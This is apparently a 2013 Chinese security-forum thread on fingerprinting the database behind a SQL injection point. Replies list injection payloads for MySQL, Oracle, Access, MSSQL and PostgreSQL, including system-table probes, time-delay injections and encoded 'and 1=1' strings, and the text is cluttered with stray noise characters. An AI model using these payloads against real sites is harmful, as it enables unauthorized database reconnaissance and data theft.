一个注射点如何最快速确认是什么类型数据库
$ e8 ` {' P! q9 @( wxsser (十根阳具有长短!!) | 2013-02-05 12:36
M. |( ?; a% m假设这么一个注射点:
2 g2 ~7 S+ O9 |$ xshow.html?id=2
; `1 d2 r1 }( ]1 Z8 X# h/ u# }0 `mysql:id=2 and version()>0
3 J- O. y4 g! ~" f3 @" doracle:id=2 and '1'||'1'='11, L. i; g+ M& H6 o
其他的欢迎补充
. D$ P7 B9 M ^/ }1#
: W7 l# J* f2 B, fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
. O. |5 D; J0 r9 v, p8 K. xAccess:3 E, W( G& h& y# ~6 Q+ r: J! d
aNd aSc(cHr(97))=97- f3 ]) a1 w1 b# w( t
and exists(select id from MSysAccessObjects)& \: j* S5 K$ s
SQL Server:
" U0 `' {- _- v+ V m9 P" j4 [! p; eand exists(select id from sysobjects)
4 @! m: ?. M7 \$ L+ z0 }: u0 kand length(user)>05 d% X' W2 M& z' ]9 X* L
MySQL: R' c# Q+ i# s( K* K# z
and length(user())>0, {, T+ T( J, o% D' c5 i$ U1 B
2## c v1 p5 d8 \; }8 b# Y# J! N
xsser (十根阳具有长短!!) | 2013-02-05 12:485 G8 |6 U" f$ p& R4 @! R# O
@upload 如果这些都不是呢…1 A6 u; \4 p9 S5 R0 R/ s; x0 d
3#
, a x: r" n: ]; n. j8 `( `upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:034 M7 @2 f8 S/ A% A0 l: v# d: K% O
@xsser 不快速的,延时注入+ G. k4 s0 b+ y2 k: m
不知道这样写对不对" u2 M6 _) B' ~' A% D+ w
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
) O) J; |0 r7 F/ ?mysql:id=2 and select benchmark(1e8,current_date());9 c: o2 K9 l" D! D; B O% h& V
4#
( B- e3 v2 h: M1 j$ vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10- S/ ~4 m! y) T
最快的貌似是看报错信息! z/ n2 C4 X8 ~- V9 O2 `5 g
oracle error
: ?2 j5 t5 X8 D. [9 Lmssql error
% n5 k7 X7 n! J9 @, vmysql error
6 B4 d5 i9 O. @1 k( D. J& T5#
; [; P7 V/ `# r" dNimda (你们都是坏银~) | 2013-02-05 13:14
% a. ?2 Q& [7 i- E; D& ?小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)& J( p( k) z$ `6 ^% h# U4 {
6#& F* u6 t8 i1 m0 q/ ?! E4 L' k/ T8 _7 ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
. {2 g- i9 d( z9 J' [“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:) }' r: |8 |( C# B7 X
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
7 r5 @: e7 M0 E8 ]$ L“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! q. o+ }7 s" H) m& {7#. M6 q$ C8 Z& x( ]) K8 y
_Evil (HackEnd) | 2013-02-05 13:33* A" S4 b. q. h& L; E ?
PostgreSQL- u6 _$ V) \2 `2 X. t
8#6 \& I: j) A! m& C3 [% V5 P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
: z0 K- w" d0 l: m3 L* ?切换编码 and 1=1
# f) [. C( W( I' y# p& Zoracle:9 R6 ?5 u# S% N. {; |3 H
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)* J1 |' a) n, t5 L, Q: y( P
mssql:, [$ T1 w3 U; J6 R0 V0 ~
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
( F; K& I, V }! k/ v: |mysql:
$ V9 P$ B1 Y4 o& G, Z0 @% ]CHAR(97, 110, 100, 32, 49, 61, 49)
1 E& I7 r2 w8 U0 j' q* p% m$ z+ X3 X9#
( p! ^; e" A* U; S0 Kxsser (十根阳具有长短!!) | 2013-02-05 14:31' o& X! ]/ b' d/ B
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
& A) N2 r( c$ j5 U7 T: w1 S10#
9 ?: n5 |( N5 H) j v F' p+ P$ Dupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:464 x7 w& o0 r3 g* B' I
@xsser 是奇葩数据库类型的么?
) v$ o* v1 k4 m% a根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:% s+ X: ]& }, T2 ^# O( c
1.是否可以使用特定的函数来判断,该数据库特有的
) d/ u6 `' t8 B6 t# b( f2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等5 T3 O3 j4 e" O# K# }
3.是否可以编码查询9 L! _* I' U( P6 F1 X' I
4.是否显可以利用错信息) K b0 H( ^- q7 p8 B) P3 H
5.是否存在数据库某些特性辅助判断
( V# C# r, M/ k个人见解7 s# p2 B5 F. C# A6 d6 Q2 j; V( \
11#1 |& a! D8 Y. C& M# r; \ ?3 K
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
* C4 K7 ?6 Z+ z4 D7 \已收藏,mssql可以直接看到错误提示的吧~
5 s3 J0 {$ U& d: i, j' ?. X( `12#
3 z8 p$ `6 P9 {, bPasser_by | 2013-02-05 15:09; p1 T2 c' k/ R1 J% i" b
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。" z q5 h( R% H& {: c
from:http://zone.wooyun.org/content/260 |